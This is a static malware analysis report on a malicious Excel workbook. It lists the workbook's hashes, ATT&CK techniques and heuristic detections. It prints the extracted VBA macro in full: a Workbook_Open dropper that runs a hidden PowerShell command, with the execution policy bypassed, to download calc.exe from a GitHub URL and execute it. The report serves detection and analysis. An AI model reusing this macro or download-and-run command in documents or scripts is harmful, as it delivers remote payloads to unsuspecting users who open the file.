Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6edb74e045d00b50…

MALICIOUS

Office (OOXML)

12.0 KB Created: 2021-06-10 05:13:14 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-20
MD5: c8da61209fe2da58126e31880418f231 SHA-1: 74edd66190369b1820ba957f51cb4d05c5cb6dfe SHA-256: 6edb74e045d00b50ea95ba27014f925ba163a76d2cc842df28fbbf6a0399b779
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The VBA macro executes a PowerShell command to download a file named calc.exe from a GitHub URL and then execute it. The Workbook_Open subroutine and the use of WScript.Shell and CreateObject indicate a malicious intent to download and run a second-stage payload. The PowerShell command reconstructs to: powershell -executionpolicy bypass -command invoke-webrequest https://github.com/ox0xo/ox0xo.github.io/raw/master/artifact/calc.exe -outfile %tmp%/calc.exe;%tmp%/calc.exe

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Dim sh
        Set sh = CreateObject("WScript.Shell")
        cmd = "powershell -executionpolicy bypass -command "
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Set sh = CreateObject("WScript.Shell")
        cmd = "powershell -executionpolicy bypass -command "
        cmd = cmd & "invoke-webrequest "
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim sh
        Set sh = CreateObject("WScript.Shell")
        cmd = "powershell -executionpolicy bypass -command "
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub workbook_open()
        dropper
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://github.com/ox0xo/ox0xo.github.io/raw/master/artifact/calc.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1037 bytes
SHA-256: 9414f6d1ef76a2d1f88a5d3c3b368e6129d3b23406ff02244e31d13189531520
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()
    dropper
End Sub

Private Sub dropper()
    Dim sh
    Set sh = CreateObject("WScript.Shell")
    cmd = "powershell -executionpolicy bypass -command "
    cmd = cmd & "invoke-webrequest "
    cmd = cmd & "https://github.com/ox0xo/ox0xo.github.io/raw/master/artifact/calc.exe "
    cmd = cmd & "-outfile %tmp%/calc.exe;"
    cmd = cmd & "%tmp%/calc.exe"
    sh.Run cmd, 0, False
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 9216 bytes
SHA-256: f88ecaca7b68e5ef0d92ea3f8ddce488f9b6eaf31dfcba360db8e4d777827cbd